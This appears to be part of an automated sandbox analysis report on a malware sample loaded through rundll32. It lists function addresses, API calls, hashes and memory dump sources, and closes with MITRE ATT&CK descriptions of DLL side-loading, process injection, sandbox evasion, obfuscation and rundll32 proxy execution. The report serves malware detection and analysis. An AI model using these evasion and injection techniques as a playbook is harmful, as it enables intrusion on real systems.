Part of subcall function 27AC1120: SHSetValueA.SHLWAPI(80000001,SOFTWARE\Microsoft\Mediaplayer,COMPUTERNAME,00000001,?), ref: 27AC11E0
Part of subcall function 27AC1120: UuidCreateSequential.RPCRT4(?), ref: 27AC11F5
Part of subcall function 27AC1120: sprintf.NTDLL ref: 27AC122C
Part of subcall function 27AC1120: RtlComputeCrc32.NTDLL(00000000,?,00000000), ref: 27AC124F
Part of subcall function 27AC1120: GlobalAlloc.KERNEL32(00000040,00001000,00000000,?,00000000), ref: 27AC1266
Part of subcall function 27AC1120: sprintf.NTDLL ref: 27AC128C

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 27AC18EC

Memory Dump Source

Source File: 00000003.00000002.84975565291.0000000027AC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 27AC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_27ac1000_rundll32.jbxd

Similarity

API ID: CreateValuesprintf$AllocComputeCountCrc32EventGlobalObjectProcessSequentialSingleTerminateTickUuidWait
String ID:
API String ID: 3103566969-0
Opcode ID: 8dabf4b52cb4f457aca4ebc0624c47dc4196281b91c428161e50fb08894ee4ce
Instruction ID: 63fbabbbf26330366ed9b718a62b1419555281b4622388cdf8ef43b824dd0547
Opcode Fuzzy Hash: 8dabf4b52cb4f457aca4ebc0624c47dc4196281b91c428161e50fb08894ee4ce
Instruction Fuzzy Hash: FAD0C9729021307A916226628C1DCCB2E1CEF2ABB1310031BB529400D0CA2C4882C5F5

Function 032E1EB1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 70
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 032E1F02

Strings

X, xrefs: 032E200A

Memory Dump Source

Source File: 00000003.00000002.84973434581.00000000032E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32e0000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID: X
API String ID: 544645111-3081909835
Opcode ID: d2a3a0994755566863b41518f0ba61358616c682e99c523238f9e6b8a90c07c6
Instruction ID: 1a7f6278e537297cb79d55a5a2fb1773c3c760f7d22b9fefb8273eb00acc4238
Opcode Fuzzy Hash: d2a3a0994755566863b41518f0ba61358616c682e99c523238f9e6b8a90c07c6
Instruction Fuzzy Hash: FE31DEB5E106288FCB48CF58C880A9DFBB1FF48310F5981AAC909A7752D731A991CF90

Function 032E1DAB Relevance: 3.1, APIs: 2, Instructions: 128
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 032E1E03
VirtualProtect.KERNEL32 ref: 032E1E84

Memory Dump Source

Source File: 00000003.00000002.84973434581.00000000032E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32e0000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4413c55c9d4a5d079f76e1dea4fceadf34d4ff805702a901d55f62485d103b6e
Instruction ID: 6ae75ec9d40ce435ca59715b37114a4fc4766d8eb2b8d0ae9583c76b3c7bba0f
Opcode Fuzzy Hash: 4413c55c9d4a5d079f76e1dea4fceadf34d4ff805702a901d55f62485d103b6e
Instruction Fuzzy Hash: 8951B1B4D15218CFDB18CF98C891B9DBBB1BF88310F2581AED809AB395D774A985CF40

Function 27AC18F6 Relevance: 1.5, APIs: 1, Instructions: 9
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,Function_000008CB,00000000,00000000,00000000), ref: 27AC1902

Memory Dump Source

Source File: 00000003.00000002.84975565291.0000000027AC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 27AC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_27ac1000_rundll32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: f6c7bea3175cfc294230f47d58ba1dfccdcd670ef459563e0909d5e87e22ef4b
Instruction ID: 172ebd3abfcba25a4b18c4b3e631a9a31cace7394975a7142e15f80cdbddfbe7
Opcode Fuzzy Hash: f6c7bea3175cfc294230f47d58ba1dfccdcd670ef459563e0909d5e87e22ef4b
Instruction Fuzzy Hash: B0B011E2B00000BEBA00CA208F28C3B23ACE320B22300082A3C00E0008C22C8C02C230

Function 032E2222 Relevance: 1.3, APIs: 1, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 032E22AC

Memory Dump Source

Source File: 00000003.00000002.84973434581.00000000032E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32e0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: eef1c717db0480ee7ae8d82c64da5e3ed6e0439827a85cf705ebaf33d467185d
Instruction ID: 5a376c2960964e172db17518205b48c18f1bd4dbbb9ae854cfcadeb814d511ba
Opcode Fuzzy Hash: eef1c717db0480ee7ae8d82c64da5e3ed6e0439827a85cf705ebaf33d467185d
Instruction Fuzzy Hash: 10410FB5A002068FDB08DF99C5946AAFBF0FF48304F14856ED859AB341D3B5A985CF91

Non-executed Functions

Function 06935489 Relevance: 87.5, Strings: 54, Instructions: 20001COMMON

Download Yara Rule

Strings

R*, xrefs: 0693F18E
R*, xrefs: 06937AE7
R*, xrefs: 0693FB02
R*, xrefs: 0693F21D
R*, xrefs: 0693F86D
R*R*, xrefs: 06941EA3
R*, xrefs: 069433C3
R*, xrefs: 06942C5E
R*R*, xrefs: 06941EE4
R*, xrefs: 06938B45
R*, xrefs: 069376AA
R*, xrefs: 0693E7DF
R*, xrefs: 06941F1A
R*, xrefs: 069376FA
R*, xrefs: 06943404
R*, xrefs: 06936234
R*, xrefs: 0693DBFB
R*, xrefs: 06941B4E
R*, xrefs: 0693D22F
R*, xrefs: 069425CE
R*, xrefs: 069395E3
R*, xrefs: 06943EBE, 06943FCC
R*, xrefs: 0693DB9D
R*, xrefs: 0693DFC7
R*, xrefs: 0694411F
R*R*, xrefs: 069374D0
R*R*, xrefs: 0693E46A
R*, xrefs: 0694440E
R*, xrefs: 06941B16
R*R*, xrefs: 0694305E
R*, xrefs: 0693DB04
R*, xrefs: 0693E05C
R*, xrefs: 06942C1C
R*R*, xrefs: 0693755F
R*, xrefs: 06939333, 06939480
R*, xrefs: 0693F8AB
R*, xrefs: 06945520
R*R*, xrefs: 0693BAA0
R*, xrefs: 06936F7B
R*R*, xrefs: 0693BA59
R*, xrefs: 069397CA
R*, xrefs: 06938B86
R*, xrefs: 06945405
R*, xrefs: 06937A96
R*R*R*R*, xrefs: 0693C13B
R*R*R*R*, xrefs: 0693BFFD
R*, xrefs: 0693D10C
R*, xrefs: 0693702B
R*, xrefs: 06936141
R*, xrefs: 0693E716
R*R*, xrefs: 069430F7
R*R*, xrefs: 0693E426
R*, xrefs: 06942BD7
R*, xrefs: 0693EE3B

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID: R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*R*$R*R*$R*R*$R*R*$R*R*$R*R*$R*R*$R*R*$R*R*$R*R*$R*R*R*R*$R*R*R*R*
API String ID: 0-1454091619
Opcode ID: 62563def212243d8178ba663f0b655967fc323b9dd6523733f914879c3ab1325
Instruction ID: 37f9bc41903ace124b5543487caff1a664107a1f3e2c5f0a91ff7d8ebcbf1441
Opcode Fuzzy Hash: 62563def212243d8178ba663f0b655967fc323b9dd6523733f914879c3ab1325
Instruction Fuzzy Hash: DA64F77BB546114FC72CCE6DC8D12E5F3D7ABCC304B1A963E894ADB248DE74A90986C0

Function 06946014 Relevance: 27.3, Strings: 17, Instructions: 6097COMMON

Download Yara Rule

Strings

R*, xrefs: 0694A406
R*, xrefs: 06947301
R*, xrefs: 06949F0F
R*, xrefs: 06948805
R*, xrefs: 06949563
R*, xrefs: 0694977A
R*, xrefs: 06948EE8
R*, xrefs: 0694A420
R*, xrefs: 0694884A
R*, xrefs: 06948172
R*, xrefs: 0694826F
R*, xrefs: 0694704A
R*, xrefs: 069473FA
R*, xrefs: 069482A9
R*, xrefs: 0694A340
R*, xrefs: 06949F4C
R*, xrefs: 0694945C

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID: R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*$R*
API String ID: 0-467962880
Opcode ID: db763a7a03a500db51229c764c6829f90b410a70742696e8993980de9d24f429
Instruction ID: 4751ba86f6a2924c3fd5e944242fc8ef555336e7bde1723dbf0f82c351b51135
Opcode Fuzzy Hash: db763a7a03a500db51229c764c6829f90b410a70742696e8993980de9d24f429
Instruction Fuzzy Hash: D5A3FA7BB546114FC72CCE6DC8D12E5F3D7ABCC304B1A963E894ADB258DE74A90986C0

Function 0696A7D0 Relevance: 2.5, Strings: 1, Instructions: 1271COMMON

Download Yara Rule

Strings

&Fd, xrefs: 0696AEFD

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID: &Fd
API String ID: 0-2012438766
Opcode ID: 15cd8743834b1449a3caecffaba72ba942d6790621cebc0b0187d792b265e2c6
Instruction ID: 807ecc35dafa3398a8ac178fb7dcc318dd9d9b9f0e1e17d3745d59cc1b83e07b
Opcode Fuzzy Hash: 15cd8743834b1449a3caecffaba72ba942d6790621cebc0b0187d792b265e2c6
Instruction Fuzzy Hash: A1B2F6B6A143428BD768CF25C851BABB7E7BFC4310F198A2DE199DB294DB34D406CB41

Function 06971DC0 Relevance: 2.1, Strings: 1, Instructions: 873COMMON

Download Yara Rule

Strings

UR, xrefs: 0697258D

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID: UR
API String ID: 0-2961163533
Opcode ID: c188c6932d42ef79e805733efa0248251d5216e33a19605042e32e66f80d4b6f
Instruction ID: e7689eeca001dcf906d53d0e281cba9f606f1cfdc34100f9eebb923f4424a6c5
Opcode Fuzzy Hash: c188c6932d42ef79e805733efa0248251d5216e33a19605042e32e66f80d4b6f
Instruction Fuzzy Hash: B442173BF1462247E7288A29CD953A56286ABC4314F1F473D8D5BEFBC5DD38AE4582C0

Function 0695CDD0 Relevance: 1.4, Strings: 1, Instructions: 193COMMON

Download Yara Rule

Strings

M, xrefs: 0695CE55

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 06db056f8dcf7050b2a93bdcd254552bc21d1488ee3073b2d6db623a86a3b236
Instruction ID: 1313b5a38851b90560cd4a9e468c1eab955f4482db3047d65ca741268314d887
Opcode Fuzzy Hash: 06db056f8dcf7050b2a93bdcd254552bc21d1488ee3073b2d6db623a86a3b236
Instruction Fuzzy Hash: DF71A232918361CFC760CF29D88065AF7E2BBC5314F5A8A1DEDD4AB754D631AD06CB82

Function 06832F7C Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

Y, xrefs: 06832F9A

Memory Dump Source

Source File: 00000003.00000003.84180388238.0000000006831000.00000020.00001000.00020000.00000000.sdmp, Offset: 06831000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6831000_rundll32.jbxd

Similarity

API ID:
String ID: Y
API String ID: 0-3233089245
Opcode ID: 4e5e036f1e740a813275def05678c08674c8ed70b1e3c405654613b96e2d860d
Instruction ID: 310f25c88d0773d25dacccf93e68602c29c2949622037653dca2ca576f3a0260
Opcode Fuzzy Hash: 4e5e036f1e740a813275def05678c08674c8ed70b1e3c405654613b96e2d860d
Instruction Fuzzy Hash: 8A51D676A093548FD360CF29C84065AF7E2BFC8314F2A8959E598DB320D771A846CF92

Function 068349DC Relevance: .9, Instructions: 910COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180388238.0000000006831000.00000020.00001000.00020000.00000000.sdmp, Offset: 06831000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6831000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9de2f20dde104f06f924e31ff961693c8c3ecccffa24225dd661cc4758e957f
Instruction ID: e63f04b81e34c1cb8fc934dc6d641e887215f872720f71d8728377ba65526388
Opcode Fuzzy Hash: e9de2f20dde104f06f924e31ff961693c8c3ecccffa24225dd661cc4758e957f
Instruction Fuzzy Hash: B99234716083968FC374CF28C885AAEB7E2FFC9314F158A5DD589DB250D730A985CB92

Function 0683371C Relevance: .8, Instructions: 760COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180388238.0000000006831000.00000020.00001000.00020000.00000000.sdmp, Offset: 06831000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6831000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 716232f1e5de10e987ca83305fcfe075b29600fb59f8d1fda0b947554e15446a
Instruction ID: 2b04ecbaa4dff0f5cc3d6049cc8d37a52d0cc409e5ca1bfb33d409ebf8ccb269
Opcode Fuzzy Hash: 716232f1e5de10e987ca83305fcfe075b29600fb59f8d1fda0b947554e15446a
Instruction Fuzzy Hash: C77235326183A6CFC775CF28C585ADEB7E5FF89304F118A19D489DB244D770AA85CB82

Function 0509252C Relevance: .7, Instructions: 718COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.84974132495.0000000005091000.00000020.00001000.00020000.00000000.sdmp, Offset: 05091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5091000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb2915cff33516987db77e0faa8a7002d006ec5f3c2c27b49ee9b8391ff9718
Instruction ID: a89849406ed7c3d30944365bf3dfde3fde936b62ef320e953d94ba9bb174af53
Opcode Fuzzy Hash: dbb2915cff33516987db77e0faa8a7002d006ec5f3c2c27b49ee9b8391ff9718
Instruction Fuzzy Hash: F3620935209382DFCB7ACF24D5C4AEEB7E6BB85310F118D2DD4898B248D770AA45DB52

Function 05091698 Relevance: .4, Instructions: 377COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.84974132495.0000000005091000.00000020.00001000.00020000.00000000.sdmp, Offset: 05091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5091000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db771775960a5fbb083151c72e414653ce32c5067ecdcfe2857e6f96fc64c7fa
Instruction ID: e35fe70273b89725e39f6950c3123a930941ac684ae941703050f48308f7d96d
Opcode Fuzzy Hash: db771775960a5fbb083151c72e414653ce32c5067ecdcfe2857e6f96fc64c7fa
Instruction Fuzzy Hash: A6F1D035608382CBCB7DCF24D5A0AEEB7E2BFC9310F55891DD49A4B288DB706845DB52

Function 06985990 Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a20331811072f813c3ee420249375eaace0407761e82479562c97d9baf7154c
Instruction ID: 33ca250fd5e461cf3d55302aca48daff0250bc1afb3f17696a10e7dc16e916c3
Opcode Fuzzy Hash: 3a20331811072f813c3ee420249375eaace0407761e82479562c97d9baf7154c
Instruction Fuzzy Hash: A4F10871A0C3818FD7B9DF14C494AEAF7A2BFC9310F51896DD58A4B741DB706884CB52

Function 0693408E Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7119f3cea1e5e38f9f6aa015c6d7bfa22593524fbcfc877daee7645a54b8f6b
Instruction ID: 7a32e0bb04e16154d8ab42eb2b9288f71851ef5111f223d0c13334355f00f435
Opcode Fuzzy Hash: f7119f3cea1e5e38f9f6aa015c6d7bfa22593524fbcfc877daee7645a54b8f6b
Instruction Fuzzy Hash: 2991373BB545214F872CCE7DC9915A9F6D76BCC314B0ED27E884ADB298ED74A8058AC0

Function 06833334 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180388238.0000000006831000.00000020.00001000.00020000.00000000.sdmp, Offset: 06831000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6831000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03521c179b3f611a84f231b5453ba554a274005bc161645469145d70485d42ab
Instruction ID: 4c5f07f73204bbf3c9cea8096af36e06f587e367324ba7878b15998de8b6ebcd
Opcode Fuzzy Hash: 03521c179b3f611a84f231b5453ba554a274005bc161645469145d70485d42ab
Instruction Fuzzy Hash: 8CB12532609391CFD779CF24C5A1BAEBBE2BFC4314F15492DD68A97280DB706845CB92

Function 069855F0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 318300acc4b006602dc2df9f1139746d93e9713e5308de6a7f1d26e53df0278b
Instruction ID: 3ec33f860a6f62f892de88881e5c38265a654824471f2fb26aaba0f65e71b2cd
Opcode Fuzzy Hash: 318300acc4b006602dc2df9f1139746d93e9713e5308de6a7f1d26e53df0278b
Instruction Fuzzy Hash: 62A15D31A19341CFE3A4DF15C980B5BB7A7BFC5304F65CA2ED4890B658C734A80ACB92

Function 0696D4C0 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e48349c815fb971bfd78627a1a6a8f0a20497d7546ae5d27d6a89e8d164e96a
Instruction ID: 6ef6f2a391ebe57c48e1315e3c20915a1bad0602483ff0c7f50989f7438df21a
Opcode Fuzzy Hash: 2e48349c815fb971bfd78627a1a6a8f0a20497d7546ae5d27d6a89e8d164e96a
Instruction Fuzzy Hash: 8AA19A726083518FD764DF29C580BAAB7E2FFC4304F61891DE8A9DB645D730E845CB92

Function 068318AC Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180388238.0000000006831000.00000020.00001000.00020000.00000000.sdmp, Offset: 06831000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6831000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46a5664e88dae3e7d861700319d29678efed1d883b9378f2c44d5ed7bbb49bb9
Instruction ID: b20f69e5297bf9b9e3a23e38efe4e67b8d9b2e316270dd71ec544fd14fe8ac97
Opcode Fuzzy Hash: 46a5664e88dae3e7d861700319d29678efed1d883b9378f2c44d5ed7bbb49bb9
Instruction Fuzzy Hash: 6BB1E2719083A18FC778CF14C194BAEF7E2BB88710F16892ED9CA67750DB306845CB92

Function 05094094 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.84974132495.0000000005091000.00000020.00001000.00020000.00000000.sdmp, Offset: 05091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5091000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a79510364ff48fc4704dc8a4d225233301c9abbcc194d64ae6688eeb2c594c23
Instruction ID: 10594259e6dee8519afeb23e7b88f45404a7b0aa6d0671e83c70e011c9c71cec
Opcode Fuzzy Hash: a79510364ff48fc4704dc8a4d225233301c9abbcc194d64ae6688eeb2c594c23
Instruction Fuzzy Hash: F7B1E2719083918FCB79CF24D190BAEF7E2BF98310F51892DD9DA27644C7306846CB92

Function 051B7410 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.84974409517.00000000051B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51b1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8e9aff202e725d3366fc1f2198c0b12b75e6229e9f783b725f1388bb12e5a6c
Instruction ID: 5b258434975c8f2f81e59c8bcfaf9bd5548b64d3afea5a7fe5a0c06847e04507
Opcode Fuzzy Hash: b8e9aff202e725d3366fc1f2198c0b12b75e6229e9f783b725f1388bb12e5a6c
Instruction Fuzzy Hash: E7A1B371208381CFE734CF18C980BAAB7E2FBC4314F55892DE5899B355D774E9458BA2

Function 069709D0 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 292d0ae7f8bbd603e8061b1c268573112d2258c28403e0aec90810e2d488b807
Instruction ID: 4dc4940b2bda389ce9fa3af3c5926ae1852d6267dd56dd35ecd7b63756022932
Opcode Fuzzy Hash: 292d0ae7f8bbd603e8061b1c268573112d2258c28403e0aec90810e2d488b807
Instruction Fuzzy Hash: AF719D716083818FD764CF29C994B5BBBE6BFC5324F288A18E498CB795D730E845CB52

Function 051B1240 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.84974409517.00000000051B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51b1000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54231b116081781884383f592c89dc5c38d6415ca62a533ff6aeb7b1f3f046ed
Instruction ID: 1d4e2703824222f4711256b1e929faa8d05df2c23784eeddee3339439aecc311
Opcode Fuzzy Hash: 54231b116081781884383f592c89dc5c38d6415ca62a533ff6aeb7b1f3f046ed
Instruction Fuzzy Hash: DB51BC366483418FC710CF28D4909AAB7E2FFC9314F6A4959E5959B354E770F906CB82

Function 050945E8 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.84974132495.0000000005091000.00000020.00001000.00020000.00000000.sdmp, Offset: 05091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5091000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d4cdfbc7f0441d07de53e951f455ebf7350737eff986016d0d340e4900288ec
Instruction ID: 7b0bbdcc9fa585d90e160925fc38db356f17169f0f5613a233533826ef08cc3c
Opcode Fuzzy Hash: 6d4cdfbc7f0441d07de53e951f455ebf7350737eff986016d0d340e4900288ec
Instruction Fuzzy Hash: 1E5157768182758BCB28CF18D44056AF7E1BF85720F1A4A5DEDD87B295D730AC42DBC2

Function 06835AF1 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180388238.0000000006831000.00000020.00001000.00020000.00000000.sdmp, Offset: 06831000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6831000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f9c7d58bf71c2c59d0ce9828359ff225ba700ec549f7e948aa946d2eeb38c9b
Instruction ID: 2787765381eb67801843806855c5fafce3dea04a95c47bab40d67095c963faf8
Opcode Fuzzy Hash: 1f9c7d58bf71c2c59d0ce9828359ff225ba700ec549f7e948aa946d2eeb38c9b
Instruction Fuzzy Hash: D65137316083908FD761CF25C591B9FBBE3ABC6318F258A1CD1C987659C730A84ACB83

Function 069821E0 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b0a38611135c484f74209aa46b1778b706df89739fde6067a91bfb6fb228b8b
Instruction ID: 8e67fc2e60303c304d739b8ed6f9c38d848c4d5f23d1a0e6716261bd956706ba
Opcode Fuzzy Hash: 8b0a38611135c484f74209aa46b1778b706df89739fde6067a91bfb6fb228b8b
Instruction Fuzzy Hash: 90417D326183908FD704DF28C45002EFBE6BFCA710F2A4A5EE5969B350C274E946CBC2

Function 05094458 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.84974132495.0000000005091000.00000020.00001000.00020000.00000000.sdmp, Offset: 05091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5091000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f25fdd1ff2e83fcda1b199fe1b8d0ef79c735b3db8ff7d233ae55f78333565
Instruction ID: aaf12844fdbfab20fba2132c113d899cb6ae6f071370fe28c367eecb40410479
Opcode Fuzzy Hash: 62f25fdd1ff2e83fcda1b199fe1b8d0ef79c735b3db8ff7d233ae55f78333565
Instruction Fuzzy Hash: 1841B3302082A18BCF08CF69D49082FBBE2BFC9710F55891DF4C59B295D674E906DB92

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

